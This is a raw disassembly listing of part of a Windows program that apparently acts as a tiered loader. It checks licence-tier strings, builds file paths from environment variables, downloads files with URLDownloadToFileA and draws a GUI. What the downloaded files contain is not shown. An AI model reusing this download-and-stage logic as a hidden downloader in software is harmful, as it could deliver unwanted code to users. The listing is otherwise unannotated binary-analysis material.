mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea0af
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x218]
cmp rdx, 0x10
jb 0x7ff754aea0f5
mov rcx, qword [rbp + 0x200]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea0f0
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0xc98]
cmp rdx, 0x10
jb 0x7ff754aea136
mov rcx, qword [rbp + 0xc80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea131
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0xcb8]
cmp rdx, 0x10
jb 0x7ff754aea177
mov rcx, qword [rbp + 0xca0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea172
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x7ff754aea947
mov rcx, qword [rbp + 0x508]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea1b7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfcd
call fcn.7ff754bbb050
jmp 0x7ff754aea947
mov rax, qword [rbp + 0x98]
cmp qword [rbp + 0x500], 0x10
lea rdx, [rbp + 0x4e8]
lea rcx, [rbp + 0x230]
cmovae rdx, rax
cmp qword [rbp + 0x248], 0x10
cmovae rcx, qword [rbp + 0xa0]
cmp r15, qword [rbp + 0x4f8]
jne 0x7ff754aea567
mov r8, r15
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x7ff754aea567
mov byte [0x7ff754c1f86f], 1
call fcn.7ff754aed320
mov rcx, rax
call fcn.7ff754aee6c0
mov rdx, rax
lea rcx, [rbp + 0x5e8]
call fcn.7ff754ad7430
call fcn.7ff754aed400
mov rcx, rax
call fcn.7ff754aee680
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xec0]
call fcn.7ff754ad7430
call fcn.7ff754aed470
mov rcx, rax
call fcn.7ff754aee5c0
mov rdx, rax
lea rcx, [rbp + 0xe90]
call fcn.7ff754ad7430
call fcn.7ff754aed530
mov rcx, rax
call fcn.7ff754aee5a0
mov rdx, rax
lea rcx, [rbp + 0x760]
call fcn.7ff754ad7430
call fcn.7ff754aed590
mov rcx, rax
call fcn.7ff754aee580
mov rdx, rax
lea rcx, [rbp + 0xd40]
call fcn.7ff754ad7430
call fcn.7ff754aed5f0
mov rcx, rax
call fcn.7ff754aee550
mov rdx, rax
lea rcx, [rbp + 0xd20]
call fcn.7ff754ad7430
call fcn.7ff754aed660
mov rcx, rax
call fcn.7ff754aee500
mov rdx, rax
lea rcx, [rbp + 0xd00]
call fcn.7ff754ad7430
lea r8, [rbp + 0x760]
lea rdx, [rbp + 0xd40]
lea rcx, [rbp + 0xcc0]
call fcn.7ff754af0980
mov rdx, rax
lea r8, [rbp + 0xd20]
lea rcx, [rbp + 0x548]
call fcn.7ff754af0920
mov rdx, rax
lea r8, [rbp + 0x760]
lea rcx, [rbp + 0x528]
call fcn.7ff754af0920
mov rdx, rax
lea r8, [rbp + 0xd00]
lea rcx, [rbp + 0xce0]
call fcn.7ff754af0920
mov rdx, qword [rbp + 0x540]
cmp rdx, 0x10
jb 0x7ff754aea380
mov rcx, qword [rbp + 0x528]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea37b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfd4
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x560]
xor r15d, r15d
mov qword [rbp + 0x538], r15
mov eax, 0xf
mov qword [rbp + 0x540], rax
mov byte [rbp + 0x528], r15b
cmp rdx, 0x10
jb 0x7ff754aea3e3
mov rcx, qword [rbp + 0x548]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea3d9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfd4
call fcn.7ff754bbb050
mov eax, 0xf
mov rdx, qword [rbp + 0xcd8]
mov qword [rbp + 0x558], r15
mov qword [rbp + 0x560], rax
mov byte [rbp + 0x548], r15b
cmp rdx, 0x10
jb 0x7ff754aea439
mov rcx, qword [rbp + 0xcc0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea434
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfd4
call fcn.7ff754bbb050
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x3c8]
call fcn.7ff754aefde0
cmp qword [rbp + 0x3e0], 0x10
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0x5e8]
mov qword [rsp + 0x20], r15
cmovae r8, qword [rbp + 0x3c8]
cmp qword [rbp + 0x600], 0x10
cmovae rdx, qword [rbp + 0x5e8]
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
je 0x7ff754aea4ea
mov r8d, 0x1e
lea rdx, [0x7ff754bfaf30]
lea rcx, [0x7ff754c1e730]
call fcn.7ff754ad7680
mov rdx, qword [rbp + 0x3e0]
cmp rdx, 0x10
jb 0x7ff754aea502
mov rcx, qword [rbp + 0x3c8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea4e3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfdb
call fcn.7ff754bbb050
jmp 0x7ff754aea502
lea rcx, [rbp + 0x3c8]
call fcn.7ff754ae7950
lea rcx, [rbp + 0x3c8]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xce0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xd00]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xd20]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xd40]
call fcn.7ff754ad7340
lea rcx, [rbp + 0x760]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xe90]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xec0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0x5e8]
call fcn.7ff754ad7340
jmp 0x7ff754aea947
lea rdx, [rbp + 0x7e0]
lea rcx, [rbp + 0x230]
call fcn.7ff754af09f0
test al, al
je 0x7ff754aea74e
mov byte [0x7ff754c1f870], 1
call fcn.7ff754aed6d0
mov rcx, rax
call fcn.7ff754aee430
mov rdx, rax
lea rcx, [rbp + 0xb00]
call fcn.7ff754ad7430
call fcn.7ff754aed7b0
mov rcx, rax
call fcn.7ff754aee3f0
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xf60]
call fcn.7ff754ad7430
call fcn.7ff754aed820
mov rcx, rax
call fcn.7ff754aee330
mov rdx, rax
lea rcx, [rbp + 0xf40]
call fcn.7ff754ad7430
call fcn.7ff754aed8e0
mov rcx, rax
call fcn.7ff754aee310
mov rdx, rax
lea rcx, [rbp + 0x780]
call fcn.7ff754ad7430
call fcn.7ff754aed940
mov rcx, rax
call fcn.7ff754aee2f0
mov rdx, rax
lea rcx, [rbp + 0xae0]
call fcn.7ff754ad7430
call fcn.7ff754aed9a0
mov rcx, rax
call fcn.7ff754aee2c0
mov rdx, rax
lea rcx, [rbp + 0xda0]
call fcn.7ff754ad7430
call fcn.7ff754aeda10
mov rcx, rax
call fcn.7ff754aee270
mov rdx, rax
lea rcx, [rbp + 0xd80]
call fcn.7ff754ad7430
lea r8, [rbp + 0x780]
lea rdx, [rbp + 0xae0]
lea rcx, [rbp + 0xf20]
call fcn.7ff754af0980
mov rdx, rax
lea r8, [rbp + 0xda0]
lea rcx, [rbp + 0xf00]
call fcn.7ff754af0920
mov rdx, rax
lea r8, [rbp + 0x780]
lea rcx, [rbp + 0xee0]
call fcn.7ff754af0920
mov rdx, rax
lea r8, [rbp + 0xd80]
lea rcx, [rbp + 0xd60]
call fcn.7ff754af0920
lea rcx, [rbp + 0xee0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xf00]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xf20]
call fcn.7ff754ad7340
lea rdx, [rbp + 0xd60]
lea rcx, [rbp + 0xb00]
call fcn.7ff754ae7b90
lea rcx, [rbp + 0xd60]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xd80]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xda0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xae0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0x780]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xf40]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xf60]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xb00]
call fcn.7ff754ad7340
jmp 0x7ff754aea947
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x230]
call fcn.7ff754af09f0
test al, al
je 0x7ff754aea932
mov byte [0x7ff754c1f884], 1
call fcn.7ff754aeda80
mov rcx, rax
call fcn.7ff754aee1a0
mov rdx, rax
lea rcx, [rbp + 0xc60]
call fcn.7ff754ad7430
call fcn.7ff754aedb60
mov rcx, rax
call fcn.7ff754aee160
mov rcx, rax
call qword [sym.imp.ucrtbase.dll_getenv]
mov rdx, rax
lea rcx, [rbp + 0xe50]
call fcn.7ff754ad7430
call fcn.7ff754aedbd0
mov rcx, rax
call fcn.7ff754aee0a0
mov rdx, rax
lea rcx, [rbp + 0xfe0]
call fcn.7ff754ad7430
call fcn.7ff754aedc90
mov rcx, rax
call fcn.7ff754aee080
mov rdx, rax
lea rcx, [rbp + 0x7a0]
call fcn.7ff754ad7430
call fcn.7ff754aedcf0
mov rcx, rax
call fcn.7ff754aee060
mov rdx, rax
lea rcx, [rbp + 0xb80]
call fcn.7ff754ad7430
call fcn.7ff754aedd50
mov rcx, rax
call fcn.7ff754aee030
mov rdx, rax
lea rcx, [rbp + 0xb60]
call fcn.7ff754ad7430
call fcn.7ff754aeddc0
mov rcx, rax
call fcn.7ff754aedfe0
mov rdx, rax
lea rcx, [rbp + 0xb40]
call fcn.7ff754ad7430
lea r8, [rbp + 0x7a0]
lea rdx, [rbp + 0xb80]
lea rcx, [rbp + 0xfc0]
call fcn.7ff754af0980
mov rdx, rax
lea r8, [rbp + 0xb60]
lea rcx, [rbp + 0xfa0]
call fcn.7ff754af0920
mov rdx, rax
lea r8, [rbp + 0x7a0]
lea rcx, [rbp + 0xf80]
call fcn.7ff754af0920
mov rdx, rax
lea r8, [rbp + 0xb40]
lea rcx, [rbp + 0xb20]
call fcn.7ff754af0920
lea rcx, [rbp + 0xf80]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xfa0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xfc0]
call fcn.7ff754ad7340
lea rdx, [rbp + 0xb20]
lea rcx, [rbp + 0xc60]
call fcn.7ff754ae7b90
lea rcx, [rbp + 0xb20]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xb40]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xb60]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xb80]
call fcn.7ff754ad7340
lea rcx, [rbp + 0x7a0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xfe0]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xe50]
call fcn.7ff754ad7340
lea rcx, [rbp + 0xc60]
call fcn.7ff754ad7340
jmp 0x7ff754aea947
xor r9d, r9d
lea rdx, [0x7ff754bfb048]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
mov rdx, qword [rbp + 0x7d8]
cmp rdx, 0x10
jb 0x7ff754aea988
mov rcx, qword [rbp + 0x7c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea983
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff9
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x7f8]
cmp rdx, 0x10
jb 0x7ff754aea9c9
mov rcx, qword [rbp + 0x7e0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aea9c4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff9
call fcn.7ff754bbb050
mov rax, qword [rbp + 0x500]
cmp rax, 0x10
jb 0x7ff754aeaa0b
mov rcx, qword [rbp + 0x98]
lea rdx, [rax + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeaa06
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff9
call fcn.7ff754bbb050
mov rax, qword [rbp + 0x580]
cmp rax, 0x10
jb 0x7ff754aeaa4d
mov rcx, qword [rbp + 0x338]
lea rdx, [rax + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeaa48
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff9
call fcn.7ff754bbb050
mov rax, qword [rbp + 0x248]
cmp rax, 0x10
jb 0x7ff754aeaa8f
mov rcx, qword [rbp + 0xa0]
lea rdx, [rax + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeaa8a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff9
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0xa8]
mov r15, qword [rsp + 0x68]
add rdx, 0x20
mov qword [rbp + 0xa8], rdx
cmp rdx, qword [rbp + 0x340]
jne 0x7ff754ae9450
movaps xmm1, xmm10
movaps xmm0, xmm9
call fcn.7ff754ab5fa0
lea rcx, [0x7ff754bfb060]
mov dword [rbp + 0xb0], 0x43020000
lea rdx, [rbp + 0xb0]
mov dword [rbp + 0xb4], 0x42200000
call fcn.7ff754ace280
test al, al
je 0x7ff754aeacdc
lea rdx, [0x7ff754c1f900]
lea rcx, [rbp + 0x10b0]
call fcn.7ff754ad7430
lea rdx, [0x7ff754c1f8b0]
mov r12, rax
lea rcx, [rbp + 0x10d0]
call fcn.7ff754ad7430
lea rdx, [0x7ff754c1f950]
mov r15, rax
lea rcx, [rbp + 0x10f0]
call fcn.7ff754ad7430
mov r9, r12
lea rcx, [0x7ff754c40b20]
mov r8, r15
mov rdx, rax
call fcn.7ff754b68820
cmp byte [0x7ff754c40d38], 0
jne 0x7ff754aeab76
cmp qword [0x7ff754c40d58], 0x10
lea rdx, [0x7ff754c40d40]
cmovae rdx, qword [0x7ff754c40d40]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
jmp 0x7ff754aeacdc
mov rax, qword [0x7ff754c40d08]
mov r12, qword [0x7ff754c40d00]
mov qword [rsp + 0x68], rax
cmp r12, rax
je 0x7ff754aeacdc
nop dword [rax]
nop word [rax + rax]
mov rdx, r12
lea rcx, [rbp + 0x358]
call fcn.7ff754aefde0
mov r13, qword [rbp + 0x370]
lea rax, [rbp + 0x358]
mov r15, qword [rbp + 0x358]
cmp r13, 0x10
mov rcx, qword [rbp + 0x368]
cmovae rax, r15
cmp rcx, 7
jne 0x7ff754aeabf3
cmp dword [rax], 0x6d657250
jne 0x7ff754aeabf3
cmp word [rax + 4], 0x7569
jne 0x7ff754aeabf3
cmp byte [rax + 6], 0x6e
je 0x7ff754aeac78
cmp r13, 0x10
lea rax, [rbp + 0x358]
cmovae rax, r15
cmp rcx, 7
jne 0x7ff754aeac1e
cmp dword [rax], 0x61666564
jne 0x7ff754aeac1e
cmp word [rax + 4], 0x6c75
jne 0x7ff754aeac1e
cmp byte [rax + 6], 0x74
je 0x7ff754aeac78
cmp r13, 0x10
lea rax, [rbp + 0x358]
cmovae rax, r15
cmp rcx, 0xd
jne 0x7ff754aeac61
movabs rcx, 0x6c616e6f73726570
cmp qword [rax], rcx
jne 0x7ff754aeac61
cmp dword [rax + 8], 0x64617a69
jne 0x7ff754aeac61
cmp byte [rax + 0xc], 0x6f
jne 0x7ff754aeac61
mov byte [0x7ff754c1f85b], 1
mov byte [0x7ff754c1f86f], 1
jmp 0x7ff754aeac96
lea rdx, [0x7ff754bfb078]
lea rcx, [rbp + 0x358]
call fcn.7ff754af07f0
test al, al
je 0x7ff754aeac81
mov byte [0x7ff754c1f85b], 1
jmp 0x7ff754aeac96
xor r9d, r9d
lea rdx, [0x7ff754bfb048]
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
cmp r13, 0x10
jb 0x7ff754aeaccd
lea rdx, [r13 + 1]
mov rax, r15
cmp rdx, 0x1000
jb 0x7ff754aeacc5
mov r15, qword [r15 - 8]
add rdx, 0x27
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecff9
mov rcx, r15
call fcn.7ff754bbb050
add r12, 0x20
cmp r12, qword [rsp + 0x68]
jne 0x7ff754aeaba0
call fcn.7ff754aac130
call fcn.7ff754ab6330
call fcn.7ff754ae6470
cmp byte [0x7ff754c1f85b], 0
je 0x7ff754aecef9
xor r12d, r12d
cmp byte [0x7ff754c1f99a], r12b
jne 0x7ff754aead29
mov qword [rsp + 0x28], r12
lea r8, [0x7ff754ae4410]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov byte [0x7ff754c1f99a], 1
call fcn.7ff754ae2ec0
cmp byte [0x7ff754c140d0], 0
je 0x7ff754aeb22f
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll__time64]
mov rdx, qword [0x7ff754c40c70]
mov r15, rax
mov qword [rsp + 0x68], rax
movabs rax, 0x7fffffffffffffff
sub rax, rdx
cmp rax, 6
jb 0x7ff754aed305
cmp qword [0x7ff754c40c78], 0x10
lea rcx, [0x7ff754c40c60]
mov qword [rsp + 0x30], rdx
lea r9, [0x7ff754bfb084]
cmovae rcx, qword [0x7ff754c40c60]
lea r8, [0x7ff754c40c60]
mov qword [rsp + 0x28], rcx
movzx edx, dil
lea rcx, [rbp + 0x2c0]
mov qword [rsp + 0x20], 6
call fcn.7ff754ad7d20
cmp qword [0x7ff754c40d30], 0x10
movabs rcx, 0x7fffffffffffffff
mov r13, qword [0x7ff754c40d28]
xorps xmm0, xmm0
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r12
lea r12, [0x7ff754c40d18]
cmovae r12, qword [0x7ff754c40d18]
movups xmmword [rbp - 0x70], xmm0
cmp r13, rcx
ja 0x7ff754aed305
mov eax, 0xf
mov qword [rbp - 0x58], rax
cmp r13, 0x10
jae 0x7ff754aeae19
lea r8d, [rax + 1]
mov qword [rbp - 0x60], r13
mov rdx, r12
lea rcx, [rbp - 0x70]
call sub.VCRUNTIME140.dll_memcpy_1
jmp 0x7ff754aeaeae
mov r15, r13
or r15, rax
cmp r15, rcx
jbe 0x7ff754aeae37
movabs rax, 0x8000000000000000
mov r15, rcx
add rax, 0x27
jmp 0x7ff754aeae5e
cmp r15, 0x16
mov eax, 0x16
cmovb r15, rax
lea rcx, [r15 + 1]
cmp rcx, 0x1000
jb 0x7ff754aeae80
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff754aed2ff
mov rcx, rax
call fcn.7ff754bbacf4
mov rcx, rax
test rax, rax
je 0x7ff754aecfe2
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x7ff754aeae8e
test rcx, rcx
je 0x7ff754aeae8c
call fcn.7ff754bbacf4
jmp 0x7ff754aeae8e
xor eax, eax
lea r8, [r13 + 1]
mov qword [rbp - 0x70], rax
mov rdx, r12
mov qword [rbp - 0x60], r13
mov rcx, rax
mov qword [rbp - 0x58], r15
call sub.VCRUNTIME140.dll_memcpy
mov r15, qword [rsp + 0x68]
cmp qword [rbp - 0x58], 0x10
lea rcx, [rbp - 0x70]
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.ucrtbase.dll_atoi]
mov ecx, eax
mov eax, 0xc22e4507
imul ecx
add edx, ecx
lea rcx, [rbp + 0x588]
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add edx, eax
call fcn.7ff754af04a0
cmp qword [rbp + 0x5a0], 0x10
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x378]
cmovae rdx, qword [rbp + 0x588]
call fcn.7ff754ad7430
mov rdx, qword [rbp + 0x5a0]
cmp rdx, 0x10
jb 0x7ff754aeaf47
mov rcx, qword [rbp + 0x588]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeaf42
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfe2
call fcn.7ff754bbb050
mov rcx, qword [rbp + 0x388]
movabs rax, 0x7fffffffffffffff
sub rax, rcx
cmp rax, 0x10
jb 0x7ff754aed305
cmp qword [rbp + 0x390], 0x10
lea rax, [rbp + 0x378]
mov qword [rsp + 0x30], rcx
lea r9, [0x7ff754bfb090]
cmovae rax, qword [rbp + 0x378]
lea r8, [rbp + 0x378]
mov qword [rsp + 0x28], rax
lea rcx, [rbp + 0x300]
movzx edx, r14b
mov qword [rsp + 0x20], 0x10
call fcn.7ff754ad7d20
xorps xmm0, xmm0
lea rdx, [rbp + 0xe20]
movups xmmword [rbp + 0xe20], xmm0
movups xmmword [rbp + 0xe30], xmm0
movups xmmword [rbp + 0xe40], xmm0
call fcn.7ff754adcc20
cmp qword [rbp + 0x318], 0x10
lea rax, [rbp + 0x300]
xorps xmm0, xmm0
lea rcx, [0x7ff754c20a00]
cmovae rax, qword [rbp + 0x300]
cmp qword [rbp + 0x2d8], 0x10
movups xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x6f0], rax
lea rax, [rbp + 0x2c0]
cmovae rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x6f8], rax
lea rax, [0x7ff754bfb0c0]
movups xmmword [rbp + 0x710], xmm0
mov qword [rbp + 0x710], rax
lea rax, [0x7ff754bebd5a]
movups xmmword [rbp + 0x720], xmm0
mov qword [rbp + 0x718], rax
movups xmmword [rbp + 0x700], xmm0
mov qword [rbp + 0x720], rax
mov qword [rbp + 0x728], rax
movups xmmword [rbp + 0x730], xmm0
mov qword [rbp + 0x700], r15
movups xmmword [rbp + 0x740], xmm0
movups xmmword [rbp + 0x750], xmm0
call qword [sym.imp.msvcp140.dll__Mtx_lock]
test eax, eax
jne 0x7ff754aecfe9
mov r8d, dword [0x7ff754c1d328]
lea rcx, [0x7ff754c41278]
lea eax, [r8 + 1]
mov dword [0x7ff754c1d328], eax
lea rax, [rbp + 0x6f0]
mov qword [rsp + 0x20], rax
call fcn.7ff754ae1450
mov qword [0x7ff754c41270], rax
lea rcx, [0x7ff754c20a00]
mov r13d, 1
mov eax, r13d
xchg byte [0x7ff754c1f9a3], al
call qword [sym.imp.msvcp140.dll__Mtx_unlock]
mov rcx, qword [0x7ff754c41130]
test rcx, rcx
je 0x7ff754aeb0e9
add rcx, 0x58
call qword [sym.imp.msvcp140.dll__Cnd_broadcast]
mov rdx, qword [rbp + 0x318]
mov byte [0x7ff754c140d0], 0
cmp rdx, 0x10
jb 0x7ff754aeb131
mov rcx, qword [rbp + 0x300]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeb12c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfe2
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x390]
xor r12d, r12d
mov qword [rbp + 0x310], r12
mov r15d, 0xf
mov qword [rbp + 0x318], r15
mov byte [rbp + 0x300], r12b
cmp rdx, 0x10
jb 0x7ff754aeb190
mov rcx, qword [rbp + 0x378]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeb18b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfe2
call fcn.7ff754bbb050
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x7ff754aeb1cb
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeb1c6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfe2
call fcn.7ff754bbb050
mov rdx, qword [rbp + 0x2d8]
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], r15
mov byte [rbp - 0x70], r12b
cmp rdx, 0x10
jb 0x7ff754aeb218
mov rcx, qword [rbp + 0x2c0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff754aeb213
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff754aecfe2
call fcn.7ff754bbb050
mov qword [rbp + 0x2d0], r12
mov qword [rbp + 0x2d8], r15
mov byte [rbp + 0x2c0], r12b
jmp 0x7ff754aeb235
mov r13d, 1
mov r15, qword [0x7ff754c1f830]
cmp dword [r15 + 0x4870], 0
jg 0x7ff754aeb260
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [r15 + 0x4878]
lea r8, [0x7ff754bec558]
xor edx, edx
mov rcx, qword [rax]
call fcn.7ff754aa8460
movss xmm1, dword [0x7ff754c559c4]
mov r10, rax
movss xmm0, dword [0x7ff754c559c0]
mov rcx, qword [0x7ff754c1f830]
movss dword [rbp + 0x294], xmm1
movss xmm1, dword [0x7ff754c559cc]
movss dword [rbp + 0x290], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x290]
mov dword [rbp + 0xb8], 0x443e0000
movss xmm0, dword [0x7ff754c559c8]
movss dword [rbp + 0x298], xmm0
movss dword [rbp + 0x29c], xmm1
mov dword [rbp + 0xbc], 0x42340000
mov dword [rbp + 0xc0], 0
mov dword [rbp + 0xc4], 0x42340000
call fcn.7ff754aa45b0
mov r9d, eax
movss dword [rsp + 0x20], xmm12
lea rdx, [rbp + 0xc0]
mov rcx, r10
lea r8, [rbp + 0xb8]
call fcn.7ff754ac36c0
mov r15, qword [0x7ff754c1f830]
cmp dword [r15 + 0x4870], 0
jg 0x7ff754aeb349
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [r15 + 0x4878]
lea r8, [0x7ff754bec558]
xor edx, edx
mov rcx, qword [rax]
call fcn.7ff754aa8460
movss xmm1, dword [0x7ff754c559c4]
mov r10, rax
movss xmm0, dword [0x7ff754c559c0]
mov rcx, qword [0x7ff754c1f830]
movss dword [rbp + 0x2a4], xmm1
movss xmm1, dword [0x7ff754c559cc]
movss dword [rbp + 0x2a0], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0xc8], 0x432b0000
movss xmm0, dword [0x7ff754c559c8]
movss dword [rbp + 0x2a8], xmm0
movss dword [rbp + 0x2ac], xmm1
mov dword [rbp + 0xcc], 0x44020000
mov dword [rbp + 0xd0], 0x432b0000
mov dword [rbp + 0xd4], 0x42340000
call fcn.7ff754aa45b0
mov r9d, eax
movss dword [rsp + 0x20], xmm12
lea rdx, [rbp + 0xd0]
mov rcx, r10
lea r8, [rbp + 0xc8]
call fcn.7ff754ac36c0
mov r15, qword [0x7ff754c1f830]
lea rdx, [rbp + 0x220]
mov dword [rbp + 0x220], 0xe
movss xmm1, dword [r15 + 0x382c]
lea rcx, [r15 + 0x47f8]
movss xmm0, dword [r15 + 0x3830]
movss dword [rbp + 0x224], xmm1
movss dword [rbp + 0x228], xmm0
call fcn.7ff754abe770
mov rcx, qword [0x7ff754c1f830]
mov dword [r15 + 0x382c], 0x40e00000
mov dword [r15 + 0x3830], 0x40e00000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0xb0], 1
mov rax, qword [rcx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x7c]
subss xmm0, dword [rax + 0x80]
mov byte [rax + 0x139], 1
addss xmm1, dword [0x7ff754bfb90c]
